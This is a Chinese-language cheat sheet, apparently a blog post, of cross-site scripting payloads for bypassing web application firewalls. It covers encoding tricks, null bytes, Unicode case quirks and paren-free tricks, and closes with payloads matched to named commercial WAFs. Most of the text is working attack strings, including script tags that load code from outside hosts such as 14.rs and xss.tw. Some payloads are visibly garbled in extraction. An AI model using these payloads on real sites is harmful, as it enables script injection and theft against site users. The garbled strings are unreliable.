双url编码
把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。
base64编码
WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。
如:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
HTML实体编码绕过
实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。
payload:
<a href='javascript:alert('123')'>hello</a>
<a href="javascript:alert('123')">hello</a>
tip:
(1)其实在标签里的伪协议js 代码是可以不用用双引号引起来的。
加上eval函数后(eval认识 x十六进制 八进制 u unicode编码)
<a href="javascript:eval('&#;u0091x65x72x74x28x22x31x22x29')">hello</a>
(2)如果页面直接显示输入内容,可以先html 编码 再url 编码。
<svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
不带http 的payload
<script/src=ttps://14.rs ></script>
<script/src=ttp://14.rs ></script>
<script/src=//14.rs></script>
过滤 /script
<%2fscript>
<%252fscript>
<%252fScRipt>
<%252fScrIPt%20>
<%252fsCrIpt+ipT%20>
利用javascript 大小写绕过限制
if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) ||
codePoint < 0 ||
codePoint > 0x10FFFF ||
floor(codePoint) != codePoint
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) {
codeUnits.push(codePoint);
} else {
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toUpperCase() && s != e) {
document.write("char: "+e+"<br/>");
};
};
}
运行后:
char: a
char: b
char: c
char: d
char: e
char: f
char: g
char: h
char: i
char: ?
char: j
char: k
char: l
char: m
char: n
char: o
char: p
char: q
char: r
char: s
char: ?
char: t
char: u
char: v
char: w
char: x
char: y
char: z
其中混入了两个奇特的字符"?"、"?"。这两个字符的“大写”是I和S。也就是说"?".toUpperCase() == 'I',"?".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
过滤括号
当括号被过滤的时候可以使用throw来绕过。
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scrix00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
利用ascii编码绕过
利用其它ascii码绕过,正则表达式中w是无法匹配到的
<img/ /μ src=x onerror=alert(1)//>
<img src=x17x17 onerror=alert(1)//>
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
先拆分再组合
<script>var a=’h';var b=’://’;document.write(‘<script src=”‘+a+’ttp’+b+’xss.tw/xxx”></script>’);</script>
过滤括号和分号
第一种方法非常简单:你可以使用花括号来进行语句隔离,将onerror
整体放入花括号中。这样就避免了使用分号:
<script>{onerror=alert}throw 1337</script>
常见的waf bypass
WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:Wordfence
Payload:<a/href=javascript:alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码
WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
总结
一直说理论肯定有些枯燥,明天更新相关案例,未完待续。。。